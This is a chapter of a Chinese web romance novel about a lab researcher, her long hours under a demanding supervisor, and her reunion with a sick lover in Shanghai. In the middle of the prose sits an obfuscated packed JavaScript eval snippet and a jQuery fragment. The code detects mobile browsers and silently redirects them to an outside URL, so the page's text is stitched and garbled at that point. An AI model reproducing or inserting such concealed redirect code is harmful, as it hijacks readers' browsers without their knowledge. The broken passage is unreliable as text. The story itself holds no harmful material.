这场漫长的战争戛然而止,城市逐渐从停摆状态恢复到原先紧张的节奏,人来人往中步履匆匆。
在回国前,顾姜强硬地要去了李离生的卡号,说是不能出力至少要出钱,如果他对李离生毫无用处,他会没有安全感。
“帅哥,你不能直接微/信转账吗?你不会是要偷我卡号干坏事吧?”李离生眉毛微蹙,警惕地质问。
最近反诈防骗的教育工作抓得很紧,李离生对这种莫名其妙送钱的行为立刻响起警报。
为打消李离生的疑问,顾姜果断地给她微/信转去五万两千元,备注赠送,甚至还加了亲亲的emoji,简直是闷骚得不行。
虽然收钱速度很快,李离生嘴上还是要继续坚强,“你不会是杀猪盘吧?”
“啊?”顾姜嘟嘴撒娇,眨巴眨巴小狗眼,“求你让我把每个月工资都给你吧······”
“那你怎么办?上街乞讨?”
李离生没有料到顾姜体内嘤嘤怪的潜力无穷无尽。
“你管我饭嘛,反正我不管,你得管着我。再说,我现在谈判失败,不定下个月能领到工资,就当我提前为我的软饭买单吧。”
李看着顾姜好看的脸被他用得皱皱巴巴,李离生真是不忍心,想着对方作为律师想要弄得她血本无归轻而易举,再怎么防备估计都没用,就爽快地报了一张没有余额的银行卡卡号。
收到卡号,顾姜面部肌肉瞬间放松,只有明亮的双眼被眯成弯月。
看着皎皎明月正在眼前,李离生内心涌起一股热血,想要把他拥入怀中,狠狠亲死他。
真是罪恶!
“可以把工资汇到这个卡里面,但是你的支付都要绑定这张卡,想花就花不要委屈自己。”李离生语气温柔,极大地压抑内心的暴动。
然而顾姜有些不快,委屈地扁嘴,“阿生,我把钱给你是希望你想花就花。我知道我要是继续这个工作一定会四处奔忙,所以我希望至少能够保障你所有的生活需求,例如请个阿姨照顾你的起居。”
李离生对这种霸总行为有些哭笑不得,又觉得不能得寸进尺,就顺着他点点头,催着他继续忙工作,别挂心自己。
“阿生,我的心一半在哪?”
“我身上?”
李离生试探着回答,得到提问者满意的笑。
因为有爱人的牵挂,漫长的等待也不会太难熬,甚至会多出期待见面的甜蜜感。
喜子看着时不时对着电脑傻笑的李离生露出无奈的表情,摇摇头,继续投入到工作中。
年轻人抵御能力强,两人没过两天就已经恢复大半气力,面色红润,而喜子因为在男模男友面前消失多日也想着去哄哄男友,提着行李就挥别李离生,直接奔赴下一段旅途。
“再见,生生,我会想死你的!”
“你头都要埋到你男友的八块腹肌里面去了,还有空隙想我?”李离生发出感叹,自问自答,“不太可能。”
喜子向好友抛去wink,戴上墨镜,轻飘飘地转身离开。
按照喜子的理论,男人想自己一天,不要哄;两天,快去哄。
爱的就是说要不要的暧昧感和拉扯感。
可李离生这个榆木脑袋,只会点赞,不会运用,把全部脑筋投入到改论文、做实验中。
毕竟每个人都有爱的形态。
有的人是山林的烈火,将所有事物燃之一炬;有的人是草原的狂风,把自由当作终生使命;有的人是稻子的农田,安稳度过四季轮转······
只是喜子一走,老刘头的沉默显得更加震耳欲聋。
李离生不知道要怎么和老刘头说话,也不知道要怎么做才能让他开心点,能躲在房间就躲在房间,一步不出。
直到重新开始上班,李离生也没和老刘头说成话。
其实她也很郁闷,明明她根本没做错什么,却总是要平白无故遭受冷暴力。
“阿公,我走了,不回来吃饭,已经买好菜放冰箱里。”
李离生憋了好大口气,一次性把话说完,就慌忙地走出门,把门砰地关上,根本不敢回头地往下跑。等到了地铁口,她才敢正常呼吸,心脏的跳动重归于平静。
幸好,实验室里面都是年纪相仿的同龄人,脾气相投。
投入实验后,李离生变得专注,完全忘记时间的流动。等再抬头时,天早被霞光染成紫粉色。
趁着实验的间隙,李离生拿着黎云快步跑到食堂,狼吞虎咽后又迅速地跑回实验室。
“师姐,我头有点疼,能不能今天早点下班?”
黎云看着时针已经指向“8”,内心有点崩溃,鼻梁连着太阳穴都在“砰砰”地跳动,难受得泫然欲泣。这小孩的模样实在让人生怜,李离生二话不说就让她先回去,自己继续加油干。
等把一抗敷上已经九点半,结果刚出实验室的门就看到风尘仆仆从医院赶回的赵熙,而且喊着她别走,再开个小会。
李离生大为不解,给喜子发去消息,“给老板干活,只要干不死,就要一直干。”
“李离生,快点把电脑拿过来。”
“好的。”
李离生抿着嘴堵住那些骂骂咧咧的话,加快速度抱着电脑到了赵熙的办公室,发现师兄们也被临时揪进来。其中于勉刚走出电梯就被赵熙堵住拉回来开会,一脸生无可恋。
赵熙对学生们之间的表情流动视若无睹,只是把文章的顺序重新理一遍,确定要回补的实验,另外又通知有新的重要病人即将手术,需要开始准备手术方案。
等会开完,已经接近凌晨一点半。
还好李离生在开会前就早有预料,给老刘头发去不回家的消息,打算就着办公室的毛毯苟过一夜。
“辛苦了,各位。”
赵熙似乎没有把电脑关上的迹象,但同学们早就把腿跨出门外,只能以极别扭的姿态给赵熙鞠躬离开。
于勉推着自己松垮的面部皮肤叹气,“还有一年,我就逃脱魔手了。”
吴泽撑住他,直言不讳,“规培打算换医院?”
于勉用手在脖子上虚拟一割,认命地回到工位戴上眼罩昏睡过去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253348|197962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何以解忧?唯有一睡。
次日,于勉更新自己最新的签名,再次任劳任怨地跟着赵熙出差。
李离生对此见怪不怪,而黎云跨着脸,直呼老赵变态。
“今天会有两个新来的师妹,你可不要传播负面情绪。”
听到此话,黎云抓住李离生的手指,忿忿不平,“师姐,就是因为你情绪管理太好,才让我掉落陷阱!”
李离生耸耸肩,拍拍黎云的头,转身继续做实验。今天晚上顾姜就要回上海,她可没时间浪费。
今天是她难得的五点下班,挤着二号线抵达浦东机场就开始化妆。
她化妆的手法不算娴熟,都不敢打眼影、化眼线,按腮红的手更是颤颤巍巍,生怕一个不留意就化成红脸猴。她不知道最夸张的不是她的妆容,而是她呼之欲出的心跳。
想到会和他拥抱,李离生就没有办法把控自己的的呼吸。
妆化好了,她乖乖地站等待,似乎全世界都只剩下这一个出口。
飞机没有晚机,顾姜拒绝了李离生的拥抱。
他刚刚在飞机上做了检测,果不其然没有躲过,只好戴着严实的N95口罩,头上带着鸭舌帽,一身黑色运动服,看起来散漫中透着让人难以拒绝的强硬气势,实则此时他整个人晕乎乎的潮湿着发热。
李离生顾不得这么多,还是把虚弱的他完全抱在怀里,像捧着一副框架。
万幸,她能感受到他的心跳声和他落在她脖颈处的呼吸。
这些天,她始终后悔自己没有更好地袒露内心的不安,而是选择一次次将他推开,痛恨自己的残忍,就像憎恶老刘头的冷漠一样憎恶自己。
她长舒口气,问“我们去哪里?”
顾姜顾着用头轻蹭李离生的额头,极慢地反应,“去我家吧。老刘头年纪大了,再度感染会很危险。”
李离生单手握住他的手,另一只手扶住他的腰给他支撑的力量,最后堆上满头的汗才成功打到车把他送回居住的地方。
这套房子是顾清留给顾姜的,之前她们回国在上海就会住在这里。顾姜也习惯这套房子的一切,始终不愿离开,虽然早有些破旧。
李离生把顾姜扶到床上,给他贴上退温贴,赶忙又从背包里拿出保温杯给他倒水喂了布洛芬。
“还好我常年带药,也不知道你这样是怎么活下去的。”
“好幸福。”
可以这样安静地看着你。
李离生被他这句无头无脑的话打得无奈,又舍不得训他,只是摸摸他的头,恶作剧地揉捏他的碎发在指尖,最后在他额头上落下轻吻。
顾姜拿过李离生的手贴在脸上,体会着她掌心的温度,努力把自己蜷缩着,让她可以抱着自己。
李离生,我是怎么活下去的?
这个问题,好傻。
我好像从来没有期待过明天的太阳。
直到那次在你学校再见到你,看着你背着书包从我眼前划过。
请你不要是我生命的流星,而是恒星,在宇宙中永远闪耀,直到把我吞灭。